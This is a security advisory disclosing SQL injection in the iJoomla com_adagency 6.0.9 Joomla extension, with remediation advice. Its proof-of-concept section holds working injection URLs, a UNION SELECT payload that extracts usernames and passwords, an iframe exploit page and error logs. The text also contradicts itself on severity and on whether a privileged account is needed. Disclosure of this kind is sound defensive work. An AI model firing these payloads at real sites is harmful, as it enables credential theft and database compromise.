Joomla Ad Agency 6.0.9 SQL Injection

2018.01.05
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

Document Title: =============== iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1927 Release Date: ============= 2018-01-04 Vulnerability Laboratory ID (VL-ID): ==================================== 1927 Common Vulnerability Scoring System: ==================================== 7.1 Vulnerability Class: ==================== SQL Injection Current Estimated Price: ======================== 2.000a! - 3.000a! Product & Service Introduction: =============================== Ad Agency is the #1 advertising extension for Joomla! Start generating income from your traffic today by creating an advertising program. d Agency's front-end is completely responsive. It looks great on any device, no matter the size. Your advertising campaigns are now more flexible than ever! Youare free to choose the number of ads to display horizontally and vertically, so you can have several ads in one row, in more than one row, or create multiple columns of ads.It's completely up to you! (Copy of the Vendor Homepage: https://adagency.ijoomla.com/) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component. Vulnerability Disclosure Timeline: ================================== 2018-01-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== iJoomla Product: com_adagency - Component (Joomla) 6.0.9 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component. The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application. The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module. Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql injection vulnerability in the `com_adagency` component module. The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] com_adagency Vulnerable File(s): [+] index.php Vulnerable Parameter(s): [+] advertiser_status [+] status_select Proof of Concept (PoC): ======================= The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payload Exploitatation (status_select & advertiser_status) http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]-- http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3 PoC: Exploit <html> <head><body> <title>SQL-Injection PoC (status_select & advertiser_status)</title> <iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status= -9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**> <br><br> <iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select= Y-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**&camp_id=3> </body></head> <html> --- PoC Exception & Error Logs --- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near line 1 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC' at line 1 SQL=SELECT user.id, advertis.aid, advertis.ordering, advertis.company, advertis.approved, advertis.user_id, user.name, user.email, user.block, user.username, user.registerDate, count(c.id) count FROM #__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on user.id=advertis.user_id LEFT JOIN #__ad_agency_campaign as c on c.aid=advertis.aid WHERE 1=1 AND user.id<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDE' at line 15 SQL=SELECT b . * , camp.id campaign_id, camp.name campaign_name, a.aid AS advertiser_id2, a.company AS advertiser, concat( width, 'x', height ) AS size_type, m.id mid, m.title zone_name FROM #__ad_agency_banners AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id = b.id LEFT JOIN #__ad_agency_campaign AS camp ON camp.id = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT JOIN #__modules AS m ON m.id = cb.zone WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDER BY b.ordering ASC , b.id DESC LIMIT 0,30 --- PoC Session Logs [GET] --- Status: 200[OK] GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3 Mime Type[text/html] Request Header: Host[joomla.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0] Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] X-Powered-By[PHP/7.0.9] P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]** Mime Type[text/html] Request Header: Host[joomla.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Cookie[jsju=0; dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] X-Powered-By[PHP/7.0.9] P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] Reference(s): http://joomla.localhost:8080/ http://joomla.localhost:8080/index.php http://joomla.localhost:8080/index.php?option= http://joomla.localhost:8080/index.php?option=com_adagency http://joomla.localhost:8080/index.php?option=com_adagency&controller http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status http://joomla.localhost:8080/administrator/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters in the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation of the vulnerabilities. Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4. Security Risk: ============== The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1). Credits & Authors: ================== Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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